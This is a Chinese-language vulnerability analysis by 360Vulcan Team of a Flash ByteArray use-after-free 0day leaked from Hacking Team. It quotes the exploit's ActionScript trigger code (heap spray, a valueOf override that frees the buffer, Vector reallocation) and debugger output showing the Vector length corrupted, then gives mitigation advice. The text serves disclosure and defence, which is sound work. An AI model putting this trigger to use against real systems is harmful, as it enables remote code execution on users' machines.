Hacking Team攻擊代碼分析Part 1:Flash 0day
最近專門提供通過攻擊手法進行網絡監(jiān)聽的黑客公司Hacking Team被黑,包含該公司的郵件、文檔和攻擊代碼的400G數(shù)據泄漏。360Vulcan Team第一時間獲取了相關信息,并對其中的攻擊代碼進行了分析。
我們發(fā)現(xiàn)其中至少包含了兩個針對Adobe Flash的遠程代碼執(zhí)行漏洞和一個針對微軟Windows內核字體權限提升漏洞的完整攻擊代碼(exploit)。其中一個Flash漏洞已經在今年4月修補,其他兩個漏洞都未修復。
其中Flash漏洞exploit被設計為可以針對IE、Chrome瀏覽器和Office軟件進行攻擊。攻擊者通過嵌入精心構造的惡意Flash文件到網頁或Office文檔中,使得訪問特定網頁或打開Office文檔的用戶感染惡意代碼。同時,這些惡意代碼通過結合Windows內核字體權限提升漏洞,可以繞過IE(保護模式或增強保護模式)、Chrome(Chrome Sandbox,< Chrome 43)和Office(保護模式)的沙盒保護,完全控制用戶的電腦。
360Vulcan Team對這些漏洞進行分析,并分為三個部分將這些0day的信息共享給安全社區(qū),希望軟件廠商和安全廠商共同行動,盡快修補和防御著這些“在野”的0day漏洞。
Flash 0day -ActionScript ByteArray Buffer Use After Free
看起來HackingTeam的遠程exploit工具中廣泛使用了同一個flash漏洞(攻擊目標可以是IE、Chrome、Office系列):
初步分析這個Exploit之后,我們發(fā)現(xiàn)這個Exploit在最新版本的Adobe Flash(18.0.0.194)中仍然可以觸發(fā),因此這應該是一個0day漏洞。
漏洞原理分析
這個漏洞成因在于,F(xiàn)lash對ByteArray內部的buffer使用不當,而造成Use After Free漏洞。
我們來看一下HackingTeam泄露的exploit代碼,關鍵部分如下:
1. 定義ByteArray
for(var i:int; i < alen; i+=3){
a[i] = new Class2(i);
a[i+1] = new ByteArray();
a[i+1].length = 0xfa0;
a[i+2] = new Class2(i+2);
}
首先定義一系列的ByteArray,這些ByteArray初始大小被設置成0xfa0,ActionScript內部會為每個Buffer分配0×1000大小的內存。
1. 給ByteArray元素賦值:
_ba = a[i];
// call valueOf() and cause UaF memory corruption
_ba[3] = new Clasz();
這一步是觸發(fā)漏洞的關鍵,由于ByteArray的元素類型是Byte,當把Clasz類賦值給ByteArray[3]時,AVM會試圖將其轉化為Byte,此時Clasz的valueOf函數(shù)將被調用:
prototype.valueOf = function() { ref = new Array(5); collect.push(ref); // realloc _ba.length = 0x1100; // use after free for (var i:int; i < ref.length; i++) ref[i] = new Vector.<uint>(0x3f0); return 0x40 }
在valueOf函數(shù)中,最關鍵的一部是更改了ByteArray的長度,將其設置成為0×1100,這個操作將會觸發(fā)ByteArray內部buffer的重新分配,舊的buffer(大小為0×1000)將會被釋放。緊接著exploit代碼會分配若干個vector對象,每個vector同樣占用0×1000字節(jié)的內存,試圖去重新使用已經釋放的ByteArray buffer的內存。
valueOf函數(shù)返回0×40,然后0×40會被寫入buffer[3]這里,如果邏輯正確,那么此處應該寫入的是新分配的buffer;然而由于代碼漏洞,這里寫入的已經釋放的0×1000大小的舊buffer,于是事實上寫入的是vector對象的頭部,整個過程如下:
1. ByteArray創(chuàng)建并設置長度0xfe0:
old buffer | |
0 0x1000
2. 設置_ba[3],調用valueOf,在valueOf中設置ByteArray.length = 0x1100,此時old buffer被釋放
old buffer (Freed) | |
0 0x1000
3. 然后0x1000大小的vector占據old buffer內存,前4個字節(jié)是vector的長度字段:
Vector | f0 03 00 00 |
0 0x1000
4. valueOf返回0x40,0x40被寫入buffer[3],由于UAF漏洞的存在,寫入的是vector的size字段:
Vector | f0 03 00 40 |
0 0x1000
于是我們可以得到一個超長的vector對象:
我們可以通過調試來觀察漏洞的觸發(fā)過程:
1. 調用valueOf之前
0:005> u
671cf2a5 call 671b0930 //這里最終調用valueOf
671cf2aa 83c404 add esp,4
671cf2ad 8806 mov byte ptr [esi],al
671cf2af 5e pop esi
此時esi指向old buffer:
0:005> dd esi-3
0dfd5000 00000000 00000000 00000000 00000000
0dfd5010 00000000 00000000 00000000 00000000
2. 調用valueOf之后,old buffer被釋放,然后被vector占據:
此時esi已經指向新分配的vector,就buffer已經被釋放
0:005> dd esi-3
0dfd5000 000003f0 0d2b3000 00000000 00000000
0dfd5010 00000000 00000000 00000000 00000000
0dfd5020 00000000 00000000 00000000 00000000
0dfd5030 00000000 00000000 00000000 00000000
0dfd5040 00000000 00000000 00000000 00000000
0dfd5050 00000000 00000000 00000000 00000000
0dfd5060 00000000 00000000 00000000 00000000
0dfd5070 00000000 00000000 00000000 00000000
3. 寫入buffer[3
接下來valueOf的返回值0x40被寫入buffer[3](及vector.size字段):
0:005> p
eax=00000040 ebx=0d8b4921 ecx=00000206 edx=00000006 esi=0dfd5003 edi=0d362020
eip=671cf2ad esp=04f2ceec ebp=04f2d050 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07d:
671cf2ad 8806 mov byte ptr [esi],al ds:0023:0dfd5003=00
0:005> p
Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07f:
671cf2af 5e pop esi
0:005> dd esi-3
0dfd5000 400003f0 0d2b3000 00000000 00000000
0dfd5010 00000000 00000000 00000000 00000000
0dfd5020 00000000 00000000 00000000 00000000
0dfd5030 00000000 00000000 00000000 00000000
可以看到vector的長度以及被修改成0x400003f0。
漏洞防范
由于該漏洞利用非常穩(wěn)定,而Adobe暫時沒有發(fā)布該漏洞的補丁,更可怕的是從HackingTeam泄露的數(shù)據來看,該exploit還帶有沙盒突破提權功能,危害甚大。我們建議補丁發(fā)布之前,可以暫時先禁用flash插件;也可以開啟Chrome或Chrome核心瀏覽器針對插件的Click-to-Run功能,來緩解Flash 0day的攻擊。